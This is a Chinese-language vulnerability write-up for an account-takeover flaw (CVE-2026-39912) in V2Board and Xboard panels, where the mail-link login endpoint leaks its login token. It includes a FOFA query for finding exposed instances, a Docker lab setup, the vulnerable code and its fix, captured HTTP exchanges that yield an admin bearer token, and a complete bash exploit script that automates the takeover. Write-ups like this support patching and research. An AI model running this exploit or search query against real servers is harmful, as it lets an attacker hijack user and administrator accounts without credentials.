漏洞简介
V2Board 是一款开源的轻量级多用户代理服务管理面板。
在 V2Board 1.6.1 至 1.7.4 版本以及 Xboard 0.1.9 及之前版本中,存在一处安全漏洞。该漏洞源于 loginWithMailLink 端点在处理基于邮件链接的登录流程时,未对身份验证令牌进行安全保护,直接在 HTTP 响应体中明文返回该令牌造成令牌泄露。远程未认证攻击者可通过监听网络响应或构造恶意请求获取有效的身份验证令牌,从而在无需任何凭证的情况下完全接管受影响用户账户达到从信息泄露到权限绕过的完整利用。
影响版本
V2Board >= 1.6.1 through 1.7.4 (abandoned), Xboard all versions through v0.1.9+.
fofa语法
app="V2Board"

漏洞复现
需要知道一个系统存在的邮箱
使用docker compose搭建测试环境
services:
web:
image: ghcr.io/cedar2025/xboard:new
environment:
- ENABLE_WEB=true
- ENABLE_HORIZON=false
- ENABLE_REDIS=false
- ENABLE_WS_SERVER=false
- APP_KEY=base64:PZXk5vTuTinfeEVG5FpYv2l6WEhLsyvGpiWK7IgJJ60=
- APP_URL=http://localhost:7001
- DB_CONNECTION=sqlite
- REDIS_HOST=redis
- CACHE_DRIVER=redis
- QUEUE_CONNECTION=redis
depends_on:
- redis
ports:
- "7001:7001"
restart: unless-stopped
redis:
image: redis:7-alpine
command: redis-server --unixsocket /data/redis.sock --unixsocketperm 777
restart: unless-stopped
volumes:
- redis-data:/data
sysctls:
net.core.somaxconn: 1024
volumes:
redis-data:
然后修改代码至存在漏洞的commit点
核心漏洞代码修改
文件: app/Services/Auth/MailLinkService.php
漏洞版本 (第 46 行):
return [true, $link]; // 泄露 magic link
修复版本 (官方镜像):
return [true, true]; // 不返回链接
完整漏洞代码对比
//漏洞版本-vuln_patch/MailLinkService.php
publicfunctionhandleMailLink(string$email,?string$redirect=null):array
{
//...验证逻辑...
$code=Helper::guid();
Cache::put(CacheKey::get('TEMP_TOKEN',$code),$user->id,300);
$redirectUrl='/#/login?verify='.$code.'&redirect=dashboard';
$link=admin_setting('app_url').$redirectUrl;
$this->sendMailLinkEmail($user,$link);
//⚠️漏洞点:返回完整链接而非true
return[true,$link];//第46行
}
替换注入方式
运行时通过 docker cp 将漏洞代码覆盖到容器:
docker cp vuln_patch/MailLinkService.php xboard-vuln-web-1:/www/app/Services/Auth/MailLinkService.php
然后进行测试
POST /api/v1/passport/auth/loginWithMailLink HTTP/1.1
Host: localhost:7001
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 26
{"email":"[email protected]"}
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Date: Tue, 14 Apr 2026 01:28:11 GMT
Content-Type: application/json
Access-Control-Allow-Origin: *
Server: swoole-http-server
Connection: keep-alive
Content-Length: 172
{"status":"success","message":"\u64cd\u4f5c\u6210\u529f","data":"http:\/\/localhost:7001\/#\/login?verify=924fbfeb53ebe9cd47726323e96e0e19&redirect=dashboard","error":null}
GET /api/v1/passport/auth/token2Login?verify=924fbfeb53ebe9cd47726323e96e0e19 HTTP/1.1
Host: localhost:7001
User-Agent: curl/7.81.0
Accept: */*
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Date: Tue, 14 Apr 2026 01:28:11 GMT
Content-Type: application/json
Access-Control-Allow-Origin: *
Server: swoole-http-server
Connection: keep-alive
Content-Length: 139
{"data":{"token":"6f5db4fb66328156a05939e59ffc369e","auth_data":"Bearer fcFUhj0eFsjxRP1cJvRP23NGipmRHxDIANGNpSrU1ab7a429","is_admin":true}}
GET /api/v1/user/info HTTP/1.1
Host: localhost:7001
User-Agent: curl/7.81.0
Accept: */*
Authorization: Bearer fcFUhj0eFsjxRP1cJvRP23NGipmRHxDIANGNpSrU1ab7a429
HTTP/1.1 200 OK
Cache-Control: no-cache, private
Date: Tue, 14 Apr 2026 01:28:11 GMT
Content-Type: application/json
Access-Control-Allow-Origin: *
Server: swoole-http-server
Connection: keep-alive
Content-Length: 495
{"status":"success","message":"\u64cd\u4f5c\u6210\u529f","data":{"email":"[email protected]","transfer_enable":0,"last_login_at":null,"created_at":1776074179,"banned":false,"remind_expire":true,"remind_traffic":true,"expired_at":0,"balance":0,"commission_balance":0,"plan_id":null,"discount":null,"commission_rate":null,"telegram_id":null,"uuid":"705237b2-3338-4ef1-a29e-de674380e127","avatar_url":"https:\/\/cdn.v2ex.com\/gravatar\/454141dab8fba2c55bc2d81247a629a4?s=64&d=identicon"},"error":null}
漏洞测试脚本
#!/bin/bash
# CVE-2026-39912 POC - Xboard/V2Board Magic Link Token Leak
# 漏洞原理: loginWithMailLink 接口在响应中返回 magic link,导致账户接管
TARGET="http://localhost:7001"
EMAIL="[email protected]"
echo "[*] CVE-2026-39912 - Magic Link Token Leak Exploit"
echo "[*] Target: $TARGET"
echo "[*] Email: $EMAIL"
echo ""
# Step 1: 请求 magic link
echo "[+] Step 1: Requesting magic link..."
RESPONSE=$(curl -s "$TARGET/api/v1/passport/auth/loginWithMailLink" \
-X POST \
-H "Content-Type: application/json" \
-d "{\"email\":\"$EMAIL\"}")
echo "Response: $RESPONSE"
# 解析泄露的链接
MAGIC_LINK=$(echo "$RESPONSE" | grep -oP 'http[^"]*' | head -1)
if [ -z "$MAGIC_LINK" ]; then
echo "[-] No magic link leaked. Target may be patched or user not found."
exit 1
fi
echo ""
echo "[+] Step 2: Magic link leaked!"
echo "[!] Leaked URL: $MAGIC_LINK"
# 提取 verify token
VERIFY_TOKEN=$(echo "$MAGIC_LINK" | grep -oP 'verify=[^&]+' | cut -d= -f2)
echo "[!] Token: $VERIFY_TOKEN"
# Step 2: 使用 token 登录
echo ""
echo "[+] Step 3: Using leaked token to authenticate..."
AUTH_RESPONSE=$(curl -s "$TARGET/api/v1/passport/auth/token2Login?verify=$VERIFY_TOKEN")
echo "Auth Response: $AUTH_RESPONSE"
# 解析 auth_data
AUTH_DATA=$(echo "$AUTH_RESPONSE" | grep -oP 'auth_data":"[^"]+' | cut -d\" -f3)
IS_ADMIN=$(echo "$AUTH_RESPONSE" | grep -oP 'is_admin":[^,}]+' | cut -d: -f2)
if [ -n "$AUTH_DATA" ]; then
echo ""
echo "[+] SUCCESS! Account takeover complete."
echo "[!] Bearer Token: $AUTH_DATA"
echo "[!] Is Admin: $IS_ADMIN"
echo ""
echo "[+] Step 4: Accessing user info..."
USER_INFO=$(curl -s "$TARGET/api/v1/user/info" -H "Authorization: $AUTH_DATA")
echo "User Info: $USER_INFO"
else
echo "[-] Authentication failed"
fi
echo ""
echo "[*] Exploit completed."
参考
- https://chocapikk.com/posts/2026/xboard-v2board-account-takeover/
- https://github.com/cedar2025/Xboard/pull/873
- https://github.com/v2board/v2board/pull/981
- https://github.com/v2board/v2board/blob/0ca47622a50116d0ddd7ffb316b157afb57d25e8/app/Http/Controllers/Passport/AuthController.php#L71
- https://github.com/cedar2025/Xboard/blob/1fe6531924cc1ec662a88b9ef725afcf78d660bc/app/Services/Auth/MailLinkService.php#L49
- https://github.com/cedar2025/Xboard/blob/1fe6531924cc1ec662a88b9ef725afcf78d660bc/app/Http/Controllers/V1/Passport/AuthController.php#L51
- https://github.com/cedar2025/Xboard/commit/121511523f04882ec0c7447acd9b8ebcb8a47957


